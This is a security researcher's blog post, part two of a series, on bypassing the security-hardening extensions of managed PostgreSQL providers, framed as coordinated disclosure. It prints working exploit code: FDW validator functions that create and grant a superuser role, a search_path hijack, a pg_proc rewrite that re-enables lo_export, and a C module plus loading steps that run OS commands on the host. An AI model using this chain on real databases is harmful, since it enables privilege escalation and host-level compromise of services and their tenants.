How managed PostgreSQL services temporarily borrow superuser privileges, and how that brief window of trust can be abused to create a path toward host-level compromise.

Part 2/6 | Breaking the Postgres Superuser Guardrails: Attacking Security-Hardening Extensions |Systemic Risks in the Managed PostgreSQL Industry

It’s been a month since I published the first part of this research, and interest from the Postgres community has been higher than I expected. Most vendors I contacted were shy to respond, so the Databricks team’s blog post Collaboration makes us all stronger was one of the first examples of a vendor publicly sharing their side of the story.

In the past four weeks, I spoke with managers of managed Postgres services, security engineers, and red teamers who look for new threats in the services they offer. Here’s what I learned from those conversations:

  • None of them had monitoring in place for the shared-buffer-based superuser backdoor technique I described in my first article.
  • Risks from extensions are just as serious as having a zero-day in PostgreSQL core, but no one seems to be focusing on them.
  • Security hardening extensions are meant to stop hackers from attacking the underlying infrastructure and to keep users from misconfiguring their setup.

My initial plan was actually write about PostgreSQL core vulnerabilities but the coordinated work with the vendors takes longer than I expected. As the time flies and given that I only have a 40-minute talk at PGCONF.EU, there’s simply no way I’ll be able to cover everything I gathered in a single session. So I want to share all the things I wont be able to cover at the talk here as a blog post.

In this article you will see the vulnerabilities I have found on PostgreSQL vendors’ security hardening extensions and the broader threat model discussion.

What is the security-hardening extension ?

A few months ago, when I first logged in to a managed Postgres provider’s instance, I noticed I didn’t have superuser rights. Still, I could update all the data and set up features that usually require superuser rights. But I wasnt the superuser. This made me wonder how and why they set it up this way.

The answer is pretty simple. When a new PostgreSQL backend starts, custom security extensions step in and check queries to decide if the user is allowed to run them.

But from a development perspective, this is not a simple True/False decision. These extensions often create a controlled window where operations requiring superuser privileges can temporarily run with `rolsuper`. That requires complex logic, fallbacks, and flexibility around user permissions.

All of this makes security-hardening extensions especially valuable targets. What makes them even more important is that they are often the last line of defense for hackers who want to find further vulnerabilities to target cross-tenant impacts.

Expectations and managed-PostgreSQL Services Threat Model 101

The biggest fear of the PaaS companies is cross-tenant vulnerabilities. If one Postgres customer can access another customer’s tenant, it’s game over. In theory, there are at least three main ways to launch such an attack. I’ve seen two of them myself in the past four months.

The most common way is finding a vulnerability in the product management web UI to abuse the APIs and influence other tenants, which has been heavily tested for years and years. I am coming from web security background like early 2000s. I am not interested in these vulnerabilities anymore. So I never spend any time on testing PaaS companies web stack.

The second way is something I call indirect cross-tenant access. Getting access to backups is just as dangerous as having a direct psql connection to someone else’s tenant. So, finding cloud misconfigurations in storage, backups, WALs, and all the things around popular S3 topics is another common path. I’ve actually done this with a few vendors. One of the most interesting examples actually involves a DuckDB extension vulnerability that was silently patched. zero communication with me. I asked my friends around to ask them to patch it for weeks. (I’ll talk about this at PGCONF.EU).

And the last one is attacking the infra through Postgres box using the most beautiful feature ever added to the PostgreSQL. The COPY TO/FROM PROGRAM.  Running operating system commands on the server where Postgres is running can open the door to deeper attacks on the control plane, backup process and all of these inner working mechanisms.

Because of this, every vendor with a security hardening extension blocks several Postgres functions and features, even for superusers. Even if you manage to get rolsuper privileges through an extension bug or a Postgres zero-day, you haven’t really succeeded in anything until you can bypass the hardening extension.

While some vendors really don’t care about bypasses of their security extensions because they are %100 sure about the complete isolation therefore they are not paying any bounty for these at all, others are more paranoiac about the layers of defence.

This is a bit like a Schrödinger’s cat paradox. You really don’t know what further attack possibilities exist until you find a vulnerabilities to completely bypass the hardening extension. So practically, becoming superuser doesn’t mean the end of the game. It is literally just a beginning.  But this beginning is more of an interest for the platform providers. As I mentioned in the first article, I am just a buyer who is trying to understand the risk of using managed Postgres services. From a consumer perspective, I really wouldn’t care how many of your customers are hacked.

Anyway, let’s get back to the second question.

How do they actually do this?

That question led me to the https://github.com/supabase/supautils repository, where Supabase open-sourced their Postgres extension. It’s designed to relax superuser privileges so users can access important features without being actual superusers.

Reading this codebase really helped me to better understand the challenges of implementing such a feature. Seeing all the cases where foreign data wrappers, extensions scripts, publications, and many many more cases where privileges needed to be relaxed to the superuser for a certain period of time for the given queries led me to think completely differently.

These issues can’t be unique to just a single vendor, right ? Everyone must be facing the same challenges. So, I looked at other vendors and found the following providers with security-hardening extensions.

Over the past three months, I tested each of these extensions to try to bypass their protections and gain superuser privileges.

The wildest part is that I saw this firsthand: one vendor hardened their system against a specific attack, another built their own protection for the same issue, and a third took a completely different approach. In some cases, an obscure PostgreSQL core “feature” that no one knew about ended up breaking everyone’s security model in the same way.

Overall, I have reported 76 different vulnerabilities related only to security-hardening extensions across all the vendors I contacted.

Attacking Security Hardening Extensions

Every security hardening extension has two goals.

1- Lockdown the superuser. Do not let anyone to have superuser role.

2- Blocking dangerous functions like lo_export, pg_read_file or FROM PROGRAM features from being called even if the user is a superuser. No one will interact with the underlying OS ever.

Specially the first goal conflicts with the capabilities of the customers needs to have. And this conflict is solved by temporarily borrowing a real superuser identity during the certain queries run by the user. The workflow around these relaxing the privileges for certain period of time generally works as follow.

check whether the customer may perform the operation
switch current_user to the provider's superuser role
let PostgreSQL execute the customer's statement with elevated privilege
restore the original identity

This means these queries need to be validated by the extensions first and then let them run by PostgreSQL while the privilege is elevated to the superuser.

This creates minefields for extension developers by the nature of this business logic. We all need to be asking a question here:

Is there any way we can trick PostgreSQL into executing my malicious query during that elevated-privilege window, after the operation has already been vetted and approved by the security extension?

and the answer is yes. I have found exactly the same mistake on different vendors’ extensions.

Case study #1: CREATE FOREIGN DATA WRAPPER  Privilege Escalation to the Superuser

Foreign Data Wrappers FDW are a core feature of Postgres that allow you to access and query data stored in external data sources as if they were native Postgres tables[1]. It is normally allows only a superuser to run CREATE FOREIGN DATA WRAPPER to enable these features. This means every vendor needs to have an implementation that delegates the operation to its superuser role, because of the same reason. We don’t get the superuser.

The way its implemented on almost everywhere is more or less the same way like the Supautils implementations:

case T_CreateFdwStmt: {
  bool already_switched_to_superuser = false;

  if (superuser() || !is_current_role_privileged())
    break;

  switch_to_superuser(supautils_superuser,
                      &already_switched_to_superuser);

  // Delegate the customer's original statement to PostgreSQL.
  run_process_utility_hook_with_cleanup(
      prev_hook, already_switched_to_superuser, switch_to_original_role);

  // The ownership handoff is omitted here for clarity.
  if (!already_switched_to_superuser)
    switch_to_original_role();

  return;
}

This is the way security extensions looks for the statements and the moment it realizes that the query is actually trying to create a FDW, it switches the user to superuser and then call the run_process_utility_hook_with_cleanup(), which is the postgres core receives the statement to run with a elelvated privileges.

Once everything is done, extension downgrade the privilege to back the initial user. As someone seeing this for the first time, I tried to debug it and better understand the flow. I started with an ordinary FDW definition:

CREATE FOREIGN DATA WRAPPER application_fdw
    HANDLER public.postgres_fdw_handler
    VALIDATOR public.postgres_fdw_validator;

At this stage PostgreSQL knows that this is a CREATE FOREIGN DATA WRAPPER command. The CreateFdwStmtcan be simplified like this:

CreateFdwStmt
  fdwname      = "application_fdw"
  func_options = [
      handler   = ["public", "postgres_fdw_handler"],
      validator = ["public", "postgres_fdw_validator"]
  ]
  options      = []

So that means we have not yet converted those function names into the OIDs. While all of these were new to me, I knew how postgres handles each object via OIDs. For example, having the same-named function on different schemas has different OIDs.

That statement has function and handler names reaches to the security extensions. As you can remember from the code above, the extension changes the backend’s effective current_user to superuser and then forwards our original statement to PostgreSQL core via run_process_utility_hook_with_cleanup() macro.

PostgreSQL then continues processing the command. Because the identity has already changed, its superuser check succeeds. Core resolves the validator name to an OID and invokes that validator before returning control to Supautils.

The whole call summary is as follow:

customer supplies a validator name

Supautils changes current_user to its administrative role

Supautils delegates the original name-bearing statement

PostgreSQL resolves the name to an OID

PostgreSQL invokes that function as the borrowed superuser

Supautils restores the customer identity

The problem with this approach is that I don’t see any validation of which OIDs are safe to pass back to PostgreSQL core for execution as a superuser!

That means I can execute my malicious queries during the elevated-privilege window simply by creating a validator that runs them. Creating a FWD using that validator function is enough.

-- Create the malicious validator function
CREATE FUNCTION public.evil_validator(text[], oid)
RETURNS void
LANGUAGE plpgsql
AS $validator$
BEGIN
    EXECUTE 'CREATE ROLE callback_super NOLOGIN SUPERUSER';
    EXECUTE format('GRANT callback_super TO %I', session_user);  -- even hackers dont use %s :)
END
$validator$;

-- Trigger the validator
CREATE FOREIGN DATA WRAPPER callback_fdw
    NO HANDLER
    VALIDATOR public.evil_validator
    OPTIONS (invoke 'now');

This looks pretty straight forward right ? Yes it was. Supabase has released fix for 4 different critical findings reported by me recently.  I would like to thank Bil and Etienne from Supabase again for getting these fixed.

Thank you for the Supabase team for keeping the supautils repository open source. Reading through their codebase genuinely helped me come up with new attack ideas and perspectives, not only around security extensions, but around PostgreSQL core itself.

In fact, an entirely new class of vulnerabilities (16 different so far) that I later reported to the PostgreSQL core security team all based on ideas I developed while reviewing supautils.

But this minefield exists for all the other vendors too. So I checked the others.

Case Study #2 – Same mistakes that everybody falls into one way or another

Another vendor had already understood that allowing an arbitrary validator was dangerous. So there was validation on handler and validator names. It was a closed-source extension, so I had to try quite a number of different tests to pinpoint the validations in place. From those tests, I learned that:

  • handler and validator must to be provided in create fdw query.
  • Both functions must belong to an extension.
  • They both must also belong to the same extension 🙂

I had high hopes of using different extension handlers and functions to do unexpected things. But yeah, people had been there and done that before.

So I went back to thinking about the implementation: how would I build such a feature? Based on the behaviour I’d observed, I imagined something like the following pseudocode:

handler_oid = resolve_function(stmt->handler);      

validator_oid = resolve_function(stmt->validator);  

require_same_extension(handler_oid, validator_oid);
require_allowlisted_extension(handler_oid);

switch_to_superuser();

// PostgreSQL receives the original statement.
delegate_statement_to_postgres();

That was the moment when I started to think about how extensions and the postgres core need to do the same thing twice. Extensions do NOT pass the OIDs. It lets the query to be reprocessed by the postgres core when it delegates the statement. What if I can find a way to trick postgres to resolve different function that has the same name but a different OID ?

That idea actually came to me because I had reported few different query hijack vulnerabilities to different vendors up until this moment of the research (4th part of this series will be about this). These bugs I reported were purely based on the very well-known search_path hijacking tricks, published years ago at https://wiki.postgresql.org/wiki/A_Guide_to_CVE-2018-1058%3A_Protect_Your_Search_Path

Let me remind you of the most important detail here. The identity will be changed to the superuser in the elevated windows. That means it’s not our own users’ search_path in place anymore, right ? So I started to thinking about how PostgreSQL core is going to actually take the same statement and resolve the functions. If I set the SET search_path = "$user", public; search path like that, the postgres core will try to resolve the function from bootstrap superuser search_path by using the exact same name that I can control because of a $user variable assigned on the path. All we need is a to create permission of the postgres schema.

Due to the nature of this whole “not so quite superuser role” design, every vendor provides CREATE permission on database-level to the default user. Roles and schemas are separate PostgreSQL objects, so creating a schema named postgres does not require control of the postgres role! So we can actually create such a function at postgres schema!

The idea is quite simple. Our search_path before and during elevated privilege window is gonna be something like that:

Before elevation:  current_user=customer  "$user"=customer schema
During elevation:  current_user=postgres  "$user"=postgres schema

So tweaking the wrapper function as follows was enough to escalate my privileges to superuser. The function is being validated is different from the function being called during the elevated context 🙂

-- Create the function
CREATE FUNCTION postgres.postgres_fdw_validator(text[], oid)
  RETURNS void
  LANGUAGE plpgsql
  AS $$
  BEGIN
      EXECUTE 'CREATE ROLE oid_switch_superuser NOLOGIN SUPERUSER';
      EXECUTE format(
          'GRANT oid_switch_superuser TO %I',
          session_user
      );
  END
  $$

-- FDW with unqualified validator name 
CREATE FOREIGN DATA WRAPPER oid_switch_fdw
  HANDLER customer.postgres_fdw_handler
  VALIDATOR postgres_fdw_validator  -- <---- HERE IT IS!
  OPTIONS (invoke_validator '1');

To recap what’s happening here:

postgres_fdw_validator is the built-in option validation function for the postgres_fdw foreign-data wrapper in PostgreSQL. The handler is explicitly qualified customer.postgres_fdw_handler therefore it resolves to the genuine function during both stages. Both OIDs belong to the same allowlisted extension, so every check passes. The extension then discards neither name nor the checked OIDs. It forwards the original statement VALIDATOR postgres_fdw_validator After current_user becomes postgres, the same "$user" entry now represents the attacker-created postgres schema. PostgreSQL performs its own lookup and obtains the attacker’s different OID. Core does not know about or repeat the vendor’s extension-membership checks

This was only the FDW part of security-hardening extensions. I’ve reported similar vulnerabilities to different vendors in other areas, like PUBLICATIONS or other components.

Case Study #3 – Where we are now ? Reaching to the underlying operating system

These extensions block you from interacting with the underlying operating system. Functions like lo_export, pg_read_file, or FROM PROGRAM are all blocked, even for superusers.

To keep this article a bit shorter, I’ll focus on one case study where I deep-dived into the postgres core world again.

The reason I chose this case will become clearer in the third article of this series, when I finally end the embargo on my PostgreSQL core findings.

Why blocking lo_export() matters

PostgreSQL large objects can store arbitrary bytes inside the database. The lo_export() function takes those bytes and writes them to a chosen filesystem path. This is not a direct code execution but its write to the file-system primitive that can give us a further capabilities.

PostgreSQL large object shenanigans are nothing new to the security industry. A recent example is CVE-2026-9082 in Drupal core, where an SQL injection limited to a single SELECT statement was turned into code execution by abusing lo_export().

The idea of abusing lo object is quite simple. We will dump a custom .so module to the filesystem of postgres and access its methods via LANGUAGE C.

attacker-controlled bytes in a large object

             lo_export()

       /tmp/attacker-module.so

 CREATE FUNCTION ... LANGUAGE C

 native code inside the PostgreSQL process

So everyone knew these vectors and lo_export() was blocked everywhere.

Bypassing the blacklisted functions through pg_catalog.pg_proc

PostgreSQL stores the name of an internal function’s implementation in pg_catalog.pg_proc.prosrc , which we can update because we are a superuser. If the security hardening extension does NOT block the LANGUAGE internal, we can actually have a pretty simple way to bypass that blacklist.

First, you can create the following function.

CREATE FUNCTION public.mdisec_lo_export(oid, text)
RETURNS integer
AS 'int4pl'
LANGUAGE internal
STRICT;

And now we go and update the pg_proc

UPDATE pg_catalog.pg_proc
   SET prosrc = 'be_lo_export'
 WHERE oid = 'public.mdisec_lo_export(oid,text)'::regprocedure;

Now we can test the mdisec_lo_export() to see if we can actually create a file on the filesystem.

# psql -X -h /var/run/postgresql -U postgres -d demo
psql (18.6 (Debian 18.6-1.pgdg12+1))
Type "help" for help.

demo=# SELECT pg_catalog.lo_from_bytea(
           0,
           pg_catalog.convert_to('MDISEC_LO_EXPORT_WORKED', 'UTF8')
         ) AS payload_oid
  \gset

demo=# SELECT public.mdisec_lo_export(
    :payload_oid,
    '/tmp/mdisec-lo-export-proof.txt'
  ) AS export_status;
 export_status
---------------
             1
(1 row)

demo=# \q
# cat /tmp/mdisec-lo-export-proof.txt
MDISEC_LO_EXPORT_WORKED#

The remaining bits to reach code execution are quite well-known CTF steps. First, we build a compatible PostgreSQL module offline.

#include "postgres.h"
#include "fmgr.h"
#include "lib/stringinfo.h"
#include "utils/builtins.h"
#include <stdio.h>

PG_MODULE_MAGIC;
PG_FUNCTION_INFO_V1(ctf_exec_out);

Datum
ctf_exec_out(PG_FUNCTION_ARGS)
{
    char *command = PG_GETARG_CSTRING(0);
    FILE *pipe = popen(command, "r");
    StringInfoData output;
    char chunk[1024];

    if (pipe == NULL)
        ereport(ERROR, (errmsg("popen failed")));

    initStringInfo(&output);
    while (fgets(chunk, sizeof(chunk), pipe) != NULL)
        appendStringInfoString(&output, chunk);

    (void) pclose(pipe);
    PG_RETURN_TEXT_P(
        cstring_to_text_with_len(output.data, output.len)
    );
}

I compiled it using development headers for the same PostgreSQL major version of my target.

gcc -shared -fPIC -O2 -Wall -Wextra \
  -I"$(pg_config --includedir-server)" \
  -o ctf_exec.so ctf_exec.c

Then I loaded its Base64-encoded version of its binary data into a psql variable.

\set payload `base64 -w0 ctf_exec.so`

and then decode the module into a PostgreSQL large object and captured its generated OID

SELECT pg_catalog.lo_from_bytea(0,pg_catalog.decode(:'payload', 'base64')) AS payload_oid

Final step is using our mdisec_lo_export I wrote those bytes to the server filesystem:

SELECT public.ctf_lo_export(:payload_oid,  '/tmp/vendor-rce.so');

Now everything is ready. All I need to do is use LANGUAGE c this time and load the module.

CREATE FUNCTION public.mdi_shell(command cstring)
RETURNS text
AS '/tmp/vendor-rce.so', 'ctf_exec_out'
LANGUAGE c
STRICT;

SELECT public.mdi_shell('id;');
uid=26(postgres) gid=26(postgres) groups=26(postgres)

LANGUAGE internal and LANGUAGE C played different roles. Renaming the internal-language alias ise used to bypass the blocked lo_export file-write primitive. LANGUAGE C then loaded the written file and ran native code.

PostgreSQL Core and LANGUAGE internal

There were only two managed-Postgres companies that had the protection around the pg_catalog.pg_proc.

But no one was blocking LANGUAGE internal on the security extension level.

This is important because later stages of this research, I actually found a type confusion bug at the LANGUAGE internal itself that literally gives me read and write access to all the memory spaces of the PostgreSQL process. That means I no longer need anything like pg_catalog.pg_proc or different tricks. Having LANGUAGE internal access is enough, which means these security-hardening extensions are practically useless.

I initially raised this with the PostgreSQL core security team, seeking a fix and explaining how the behaviour affected the threat models of managed PostgreSQL providers.

The security team acknowledged that allowing users to create functions with LANGUAGE internal enables them to take control of the server. However, they considered it unlikely that major managed PostgreSQL providers would expose this capability unless granting full superuser access was already part of their policy.

Their position was that if a provider permits this while intending to withhold full superuser access, then the any security vulnerability lies in the provider’s service, not in PostgreSQL itself. They therefore recommended reporting these cases directly to the affected providers, as fixing the gap would be the providers’ responsibility rather than that of the PostgreSQL core security team.

In practice, this means to me that if you break the PostgreSQL core security model they’ve built everything around, you’d better understand what you’re breaking and close all the gaps. It’s your bug, not PostgreSQL core’s.

I’m %100 on the same page with this assessment. If exploitation doesn’t cross a security boundary, it’s just a bug.

But I’d also add that even major vendors were unaware of the potential impact of LANGUAGE internal on their threat models. Here I am, reporting from the field that ,including major vendors, PaaS companies had no idea about this, and I had to report it to each of them one by one, as the security team suggested.

While this is not confirmed with anyone, my personal feeling is that vendors were quite confident that they eliminated file write/read capabilities from superuser via security extension therefore actual code execution capabilities of LANGUAGE internal (such as attacker controlled .so) was eliminated. So this confusion bug became a security boundary crossing issue for PaaS vendor while it was still within the threat model of PostgreSQL core itself.

Closing Notes and Thanks to the Google Cloud VRP Team

This research made me think more carefully about security boundaries and responsibilities across managed PostgreSQL providers and PostgreSQL core. From a researcher’s perspective, the instinct is straightforward: if a protection exists and you bypass it, that looks like a vulnerability. I initially shared that perspective, especially when starting with the default user provided by the service.

The default user provided by vendors has broad database-management privileges but is not a superuser. In the threat model discussed here, the relevant security boundary is not between that user and a superuser within the database tenant, but between the tenant and the underlying infrastructure. This article focuses on one of the three methods of how attackers can use a PostgreSQL tenant as a foothold to target that infrastructure, rather than the database itself.

When my research triggered Google Cloud’s alerts, their team reached out. They were genuinely far the most supportive vendor and offered some of the most constructive feedback I received throughout this work.

Their assessment focused on what the attacker could do after exploitation that they could not already do before it. For their particular PostgreSQL and AlloyDB services, the default postgres user already had read and write access to every database within the instance. Escalating to superadmin did not materially expand that data access. Even stopping the instance was assessed against the disruption already possible by dropping tables.

In that context, they were more interested in escalations from low-privileged users to superuser, rather than from an already-powerful instance administrator. Those cases could represent a much more significant change in access and capabilities. A genuine thank you to the Google Cloud VRP team for supporting this research.

I am trying to keep this article series in the same timeline of my research and my thought process. Because they all make sense at the macro perspective hopefully. Next part is gonna be fully focus on how limited low privileg user can escalate their privileges to superuser through the postgres core and well popular extension vulnerabilities.

I would like to thank A. Bilge, Devrim Gündüz for reviewing this article and providing amazing feedback!

[1] – https://supabase.com/docs/guides/database/extensions/wrappers/overview

[2] – https://github.com/supabase/supautils/security

[3] – https://www.databricks.com/blog/collaboration-makes-us-all-stronger

Leave a Reply

Your email address will not be published. Required fields are marked *